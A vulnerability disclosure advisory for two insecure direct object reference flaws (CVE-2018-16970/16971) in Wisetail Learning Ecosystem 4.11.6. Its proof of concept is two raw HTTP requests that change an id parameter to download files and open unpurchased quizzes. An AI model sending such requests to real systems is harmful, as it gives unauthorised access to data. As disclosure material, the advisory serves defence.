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Wisetail Learning Ecosystem 4.11.6 Insecure Direct Object Reference

Wisetail Learning Ecosystem 4.11.6 Insecure Direct Object Reference
Posted Sep 13, 2018
Authored by S. M. Zia Ur Rashid

Wisetail Learning Ecosystem (LE) versions up to 4.11.6 suffer from multiple insecure direct object reference vulnerabilities that allow an attacker to download files and get access to the non-purchased course quiz test via a modified id parameter.

tags | exploit, vulnerability, info disclosure
advisories | CVE-2018-16970, CVE-2018-16971
MD5 | 34b23ee4bf4c54e688cf0bc81308cbd1

Wisetail Learning Ecosystem 4.11.6 Insecure Direct Object Reference

Change Mirror Download
Title: MULTIPLE IDOR VUNLERABILITies ON WISETAIL LEARNING ECOSYSTEM (LE)
UPTO V4.11.6



*D**ate:* 12/09/2019

*A**uthor:* S. M. Zia Ur Rashid

*Vendor Homepage:* wisetail.com

*Author Contact: *https://www.linkedin.com/in/ziaurrashid/

*Affected Version:* <= 4.11.6

*Assaigned CVE: *CVE-2018-16970, CVE-2018-16971



*Description:* Wisetail Learning Ecosystem (LE) upto v4.11.6 suffers from
multiple insecure direct object reference (IDOR) vulnerability that allows
to download files and access to the non-purchased course quiz test via a
modified id parameter.



*Proof-of-Concep (POC):*


*// File Disclosure*



GET /eco_download.php?id=2639 HTTP/1.1

Host: xxxxxxx

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:63.0) Gecko/20100101
Firefox/63.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: xxxxxxxxxxxxxx

Upgrade-Insecure-Requests: 1



*// Access Quiz Test*



GET /eco_test.php?id=29 HTTP/1.1

Host: xxxxxxx

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:63.0) Gecko/20100101
Firefox/63.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: xxxxxxx

Upgrade-Insecure-Requests: 1



*Video POC:* https://youtu.be/l3msLYdI3fI



*References:*

https://blog.ziaurrashid.com/wisetail-learning-ecosystem-multiple-idor-vunlerability/

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16970

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16971


*Regards,*
*S M Zia Ur Rashid*
Student, Dept. of EEE, International Islamic University Chittagong
Student Ambassador, IEEEmadC
Public Relation Ambassador, IEEEXtreme Programming Competition 12.0
Webmaster, IEEE Bangladesh Section Student Activities Committee 2018
Webmaster, IEEE IIUC Student Branch (2018)
Contact: E-mail <smziaurrashid@gmail.com> *|* Web <https://ziaurrashid.com/>

Connect: Facebook <https://www.facebook.com/smziaurrashid.info> *|* LinkedIn
<https://www.linkedin.com/in/ziaurrashid>

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